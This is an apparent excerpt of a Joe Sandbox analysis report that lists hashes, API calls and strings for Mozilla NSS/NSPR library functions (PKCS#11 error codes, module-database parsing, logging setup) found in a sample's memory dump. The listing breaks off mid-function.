Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 32c9c4b130f921805cc717c67d54b299dc45e2baa097b0eeed65e12d5b1ca113
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A4E06D3A303054A7DB148E09C460BAA7359DF82B19FA48079CC599BA01DE73F803E7A1

Function 6CE2CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea040eefb8e5b3857065349b9d988f6b91fd9ee434ecd1c6e339521c959735bb
Instruction ID: b383558e1a8287edaa6efb55ba6c51cb233b6316e153f1c0a591622cf37bf77c
Opcode Fuzzy Hash: ea040eefb8e5b3857065349b9d988f6b91fd9ee434ecd1c6e339521c959735bb
Instruction Fuzzy Hash: 5CC04838254608CFCB44DF08E489AA43BA8AB096107040094EA028B721DA21F810CA80

Function 6CE61D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE61D46), ref: 6CE62345

Strings

rv = 0x%x, xrefs: 6CE62312
CKR_SIGNATURE_INVALID, xrefs: 6CE620CF
CKR_OPERATION_ACTIVE, xrefs: 6CE622B8
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE62320
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE6227F
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE61FD7
CKR_PIN_EXPIRED, xrefs: 6CE6206B
CKR_DEVICE_ERROR, xrefs: 6CE6229D
CKR_FUNCTION_REJECTED, xrefs: 6CE62289
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE6226B
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE62179
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE620D9
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE6218D
CKR_PIN_LEN_RANGE, xrefs: 6CE62061
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE62319
rv = %s, xrefs: 6CE62340
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE61F0F
CKR_NEW_PIN_MODE, xrefs: 6CE61E9F
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE62293, 6CE6233F
CKR_PIN_LOCKED, xrefs: 6CE62075
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE61DE0
CKR_SAVED_STATE_INVALID, xrefs: 6CE61E56
CKR_DEVICE_MEMORY, xrefs: 6CE61FF3
CKR_STATE_UNSAVEABLE, xrefs: 6CE62037
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE61F77
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE61FB5
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE62225
CKR_OK, xrefs: 6CE61DFC
CKR_INFORMATION_SENSITIVE, xrefs: 6CE622B1
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE62015
CKR_PIN_INVALID, xrefs: 6CE62057
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE6232E
CKR_RANDOM_NO_RNG, xrefs: 6CE622A7
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE62327
CKR_BUFFER_TOO_SMALL, xrefs: 6CE62183
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE6204D
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE62275
CKR_FUNCTION_CANCELED, xrefs: 6CE61E73
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE622FF
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE61EE1
CKR_TOKEN_NOT_PRESENT, xrefs: 6CE61F81
CKR_PIN_INCORRECT, xrefs: 6CE61D92
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE61F8B
CKR_DEVICE_REMOVED, xrefs: 6CE62261
CKR_MUTEX_BAD, xrefs: 6CE61F49
CKR_NEXT_OTP, xrefs: 6CE6222F
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE61F95

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 048b8ce18f3f872d16fda9607e6a4a1d30c49694f3954ae849370ec15732e0da
Instruction ID: c62ab07936e1c8a68edc0b71ee857d71313292a6e815cca920de8739d4434423
Opcode Fuzzy Hash: 048b8ce18f3f872d16fda9607e6a4a1d30c49694f3954ae849370ec15732e0da
Instruction Fuzzy Hash: A261FE20AFD08686E62D464F91AE3AC2130AB33719F74C57BE5818FF51C395CA8746A3

Function 6CE95DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CE95E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE95E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CE95E5C
free.MOZGLUE(00000000), ref: 6CE95E7E
free.MOZGLUE(00000000), ref: 6CE95E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CE95EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CE95EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE95ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CE95EF0
free.MOZGLUE(00000000), ref: 6CE95F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE95F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CE95F5B
free.MOZGLUE(00000000), ref: 6CE95F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CE95FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CE95FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CE95FC4
free.MOZGLUE(00000000), ref: 6CE95FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE95FE9
free.MOZGLUE(00000000), ref: 6CE95FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE9600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE96027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CE9605A
PR_smprintf.NSS3(6CF6AAF9,00000000), ref: 6CE9606A
free.MOZGLUE(00000000), ref: 6CE9607C
free.MOZGLUE(00000000), ref: 6CE9609A
free.MOZGLUE(00000000), ref: 6CE960B2
free.MOZGLUE(?), ref: 6CE960CE

Strings

secmod.db, xrefs: 6CE95EA0
flags, xrefs: 6CE95E3A, 6CE95EC6, 6CE95F30
readOnly, xrefs: 6CE95E56
forceSecmodChoice, xrefs: 6CE95F55
pkcs11.txt, xrefs: 6CE95F47, 6CE95F7C, 6CE9603A, 6CE96053
secmod=, xrefs: 6CE95FB1
noModDB, xrefs: 6CE95EEA
configDir=, xrefs: 6CE95F9D
%s/%s, xrefs: 6CE96055

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 95a19a9d570b3aff3613e8e60d8ab1cb9397134a73fac21fe2d5003cc68f2463
Instruction ID: e4f829c1d79fad86301aad46198e153aa734c308993f3120e1552ed7f5923dcc
Opcode Fuzzy Hash: 95a19a9d570b3aff3613e8e60d8ab1cb9397134a73fac21fe2d5003cc68f2463
Instruction Fuzzy Hash: E79128F0E052015BEF118F259C85BAA3BB89F0635DF280125EC56DBB42E736D909C7A2

Function 6CE21D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE21DA3

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE21DB2

Part of subcall function 6CE21240: TlsGetValue.KERNEL32(00000040,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21267
Part of subcall function 6CE21240: EnterCriticalSection.KERNEL32(?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE2127C
Part of subcall function 6CE21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21291
Part of subcall function 6CE21240: PR_Unlock.NSS3(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE212A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE21DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE21E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE21EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE21ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE21EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE21F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE21F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE21F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE21F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE21F83
PR_SetLogFile.NSS3(00000000), ref: 6CE21FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE21FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE21FCB
free.MOZGLUE(00000000), ref: 6CE21FD2

Strings

sync, xrefs: 6CE21E46
Unable to create nspr log file '%s', xrefs: 6CE21FB3
all, xrefs: 6CE21F0E
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE21E27
append, xrefs: 6CE21EE6
bufsize, xrefs: 6CE21E9B
timestamp, xrefs: 6CE21EC4
NSPR_LOG_FILE, xrefs: 6CE21F69
, %n, xrefs: 6CE21E6B
NSPR_LOG_MODULES, xrefs: 6CE21DAD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 392e38c791ce78e902e04c7fb93c1f60a042ea576b3a2164cd328600e9f02599
Instruction ID: a9cc89301dfa31b8334af376f18a18ed040e51c00f80db49453eb22aebf5b9cf
Opcode Fuzzy Hash: 392e38c791ce78e902e04c7fb93c1f60a042ea576b3a2164cd328600e9f02599
Instruction Fuzzy Hash: 7A519571E012499BDF00DBE5DC45B9E77B8AF0134DF244528E825DBB01E77ADA18CB91

Function 6CF06E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDBCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE1F9C9,?,6CE1F4DA,6CE1F9C9,?,?,6CDE369A), ref: 6CDBCA7A
Part of subcall function 6CDBCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDCBE66), ref: 6CF06E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDCBE66), ref: 6CF06E98
sqlite3_snprintf.NSS3(?,00000000,6CF6AAF9,?,?,?,?,?,?,6CDCBE66), ref: 6CF06EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDCBE66), ref: 6CF06ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDCBE66), ref: 6CF06EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDCBE66), ref: 6CF06FA6
sqlite3_snprintf.NSS3(?,00000000,6CF6AAF9,00000000,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF06FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF07014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDCBE66), ref: 6CF0701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDCBE66), ref: 6CF07030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF0705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDCBE66), ref: 6CF07079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF07097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDCBE66), ref: 6CF070A0

Strings

winGetTempname2, xrefs: 6CF070C4
winGetTempname5, xrefs: 6CF07071
mz_etilqs_, xrefs: 6CF06F18
winGetTempname1, xrefs: 6CF0708F
winGetTempname4, xrefs: 6CF07046

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 6b4fea6836b0f8f6cff6a370706974b1733fc9c7956e3fd8012654732c2c5fe1
Instruction ID: 2908d3c76b889de510146cfac8969461d15545b8032f5fe9babecb0c44ceef18
Opcode Fuzzy Hash: 6b4fea6836b0f8f6cff6a370706974b1733fc9c7956e3fd8012654732c2c5fe1
Instruction Fuzzy Hash: 3F517DA1F112111BE71097309C61BBB36669F92718F144638FC12A7BD2FB35A40E92E2

Function 6CE94FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000,00000000,00000001), ref: 6CE95009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE95049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE9505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CE95071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE950A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CE950B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2), ref: 6CE950CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE950D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE950F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95153
free.MOZGLUE(?), ref: 6CE9516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE9517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE95195

Strings

nss=, xrefs: 6CE95083
config=, xrefs: 6CE9509B
name=, xrefs: 6CE95057
parameters=, xrefs: 6CE9506B
library=, xrefs: 6CE95043

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: fac3dbbc31b734cda08b33d7f9171ce341090dba8a6e73a32a422d0342cc52a7
Instruction ID: 4ab5f9d1cb73d2947b4553de37d838f5e0abcb3a0fa3533cd652b7085ae163c7
Opcode Fuzzy Hash: fac3dbbc31b734cda08b33d7f9171ce341090dba8a6e73a32a422d0342cc52a7
Instruction Fuzzy Hash: 7251C8B6E122055BEB01DF24EC41AAB37B89F0624DF240025EC69E7741E725E919CBB2

Function 6CE68E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE68E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE68EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE68EB3

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE68EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE68EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE68F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE68F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE68F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE68F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE68F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE68F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE68FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE68FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE69047

Strings

hKey = 0x%x, xrefs: 6CE68F5B, 6CE68F6B
pMechanism = 0x%p, xrefs: 6CE68EE0
hWrappingKey = 0x%x, xrefs: 6CE68F01, 6CE68F11
C_WrapKey, xrefs: 6CE68E71
(CK_INVALID_HANDLE), xrefs: 6CE68EAC, 6CE68F1F, 6CE68F79
pWrappedKey = 0x%p, xrefs: 6CE68FAD
hSession = 0x%x, xrefs: 6CE68E8E, 6CE68E9E
pulWrappedKeyLen = 0x%p, xrefs: 6CE68FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6CE69042

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: c0351910508b9cb683dd76fd33df965aad36fb216de6a8e9ffc6beb7052aa863
Instruction ID: 219865e48b0d67dff6912a52dd541606b3cbf6971412ca0d082c755ed454439f
Opcode Fuzzy Hash: c0351910508b9cb683dd76fd33df965aad36fb216de6a8e9ffc6beb7052aa863
Instruction Fuzzy Hash: D3510231A61104AFDF109F01DC49F9A3BB2AF4730CF55842AF5086BF12D7329968CB92

Function 6CE94C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94C5B
PR_smprintf.NSS3(6CF6AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE94CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE94CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE94D0B
